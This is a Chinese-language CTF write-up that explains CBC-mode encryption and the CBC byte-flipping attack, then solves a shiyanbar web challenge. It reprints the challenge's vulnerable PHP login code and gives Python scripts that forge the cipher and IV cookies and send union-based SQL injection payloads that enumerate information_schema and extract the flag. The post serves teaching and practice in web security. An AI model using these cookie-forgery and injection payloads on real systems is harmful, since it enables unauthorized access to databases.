cbc加解密过程

先看一下cbc加密和解密的过程

加密

image

解密

image

IV 初始化向量

Plaintext 明文

Ciphertext 密文

key密钥

加密 :

1 先分组,得到第一组明文 A

2 第一组明文和IV进行异或 得到中间值B

3 B在经过key进行加密得到密文C

4 密文C与第二组明文进行异或

5 中间值在经过key加密得到

6 循环下去,得到最终的密文

解密 :

1 先分组,得到第一组密文C

2 C先经过key解密得到中间值B

3 B在和IV经过异或,就得到了明文A

4 第二组密文经过key解密得到中间值

5 中间值和第一组密文C异或,得到第二组明文

cbc字节翻转攻击

原理

先来看一个异或的知识点

假设X=Y^Z 那么 Y=X^Z Z=X^Y

Z^Z=X^Y^Z =0 异或的一个特性 两个相同的数异或 等于0

推论==>

Y^Q^Z=X^Q 如果给Y异或上Q 那么最后的结果就是原来的值异或上Q X^Q

约定Y为第二组经过了key解密但没有进行异或的密文 Q为想要伪造的数据 Z为第一组的密文 X为第二组解密之后的明文 这样就可以伪造第二组的明文了

实例

实验吧的一道题

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}

只看cbc部分

先分组16个字节为一组(根据IV是16个字节,推测16个字节为1组)

a:1:{s:2:”id”;s:

2:”12”;}

目的是把第二组的2替换为#,

约定第二组解密之后的没有进行异或的密文为C,A为最后的明文,B为第一组的密文

正常情况:C[4]^B[4]=2

现在我们想把2改为#

c[4]^B[4]^2^#=2^2^#=#

就是把B[4]对应的位置改为B[4]^2^# 这样C[4]和新的B[4]异或之后的结果就是#

贴一下pcat大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf8 -*-
__author__='[email protected]'
from base64 import *
import urllib
cipher='kHRJKBNzNjwYUrCRzdAIkRexNpIYnA2jjcfBrTOkgO8%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
print(lst)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new

这样构造会提示不能反序列化,因为第一组密文被改变 但是解密第一组密文的IV没有变,所以报错

IV的构造

​ new_cipher:在上一步生成的新的cipher经url和base64解码并使用秘钥解密后的结果(报错界面返回的结果)

​ old_iv:第一次提交时得到的iv值经url和base64解密后的结果

​ error_plain:new_cipher与old_iv异或运算得到的字符串

​ right_plain:最原始的序列化之后的字符串的第一行(因为iv只在第一组密文解密的时候会被用到)

​ 之所以不需要全写,是因为第二行是绝对不会出错的,这在上一步已经说明过了

​ new_iv:我们想要的新的iv值

​ 我们想达到这个目的:

​ new_cipher^new_iv=right_plain

​ 由CBC的加密解密过程我们可以知道:

​ new_cipher^old_iv=error_plain

​ 任意值与自己本身做异或运算的结果都是0

​ 任意值与0做异或运算的结果都是自己本身

​ 只需令new_iv=old_iv^error_plain^right_plain

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding:utf8 -*-
__author__='[email protected]'
from base64 import *
import urllib
iv='Tfdy3l%2BWCmllUqxw94XpVA%3D%3D'
iv_raw=b64decode(urllib.unquote(iv)) #old_iv
first='a:1:{s:2:"id";s:' #right_plain
plain=b64decode('eFmmV2vP6L22IXf2c/kzYTg4OiIwIHVuaW9uIHNlbGVjdCAqIGZyb20oKHNlbGVjdCAxKWEgam9pbiAoc2VsZWN0IHZhbHVlIGZyb20geW91X3dhbnQpYiBqb2luIChzZWxlY3QgMyljKTsAIjt9') #error_plain
iv_new=''
for i in range(16):
iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

最终的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import requests
import re
from base64 import *
from urllib import quote,unquote

url="http://ctf5.shiyanbar.com/web/jiandan/index.php"

def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):
payload = {"id":payload}
r=requests.post(url,data=payload)
iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]
cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]
cipher=unquote(cipher)
cipher=b64decode(cipher)
cipher_list=list(cipher)
cipher_list[cbc_flip_index] = chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace))
cipher_new=''.join(cipher_list)
cipher_new=b64encode(cipher_new)
cipher_new=quote(cipher_new)
cookie = {'iv':iv,'cipher':cipher_new}
r=requests.post(url,cookies=cookie)
content = r.content
plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0]
plain=b64decode(plain_base64)
first_block_plain="a:1:{s:2:\"id\";s:"
iv=unquote(iv)
iv=b64decode(iv)
iv_list=list(iv)
for i in range(16):
iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i]))
iv_new=''.join(iv_list)
iv_new=b64encode(iv_new)
iv_new=quote(iv_new)
cookie = {'iv':iv_new,'cipher':cipher_new}
r=requests.post(url,cookies=cookie)
return r.content
#这个函数的目的是为了判断Union中select的次数,也就是说需要暴力破解处you_want表中的字段列数量
def get_columns_count():
table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
for i in range(len(table_name)):
payload="(select 1)a"
if i==0:
payload = "0 2nion select * from("+payload+");"+chr(0);
content=find_flag(payload,6,'2','u')
resp=re.findall(".*(Hello!)(\d).*",content)
if resp:
print "table has 1 column and response position is 1"
return payload
else:
print "table does not have %d columns" % (i+1)
continue
for t in range(i):
payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])
payload = "0 2nion select * from("+payload+");"+chr(0);
content=find_flag(payload,6,'2','u')
resp=re.findall(".*(Hello!)(\d).*",content)
if resp:
print "table has %d column and response position is %s" % (i+1,resp[0][1])
return payload
else:
print "table does not have %d columns" % (i+1)
payload=get_columns_count()
print payload
print find_flag('12',4,'2','#')
# 下面加chr(0)是为了注释掉后面的内容, 且只要替换掉 2union 中的 2 就可以了
print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')

这里要替换的字符是第二组的2 改成# 所以要修改的分组应该是第二组之前的分组,因为cbc模式下,每个分组的加密和解密结果 依赖该分组前面的分组,所以保证该分组前面的分组被正确加解密,该分组就不会出现错误

参考连接

https://blog.csdn.net/include_heqile/article/details/79942993

https://pengyang.me/2018/11/20/%E5%AE%9E%E9%AA%8C%E5%90%A7web/#0x04-%E8%8E%B7%E5%8F%96-flag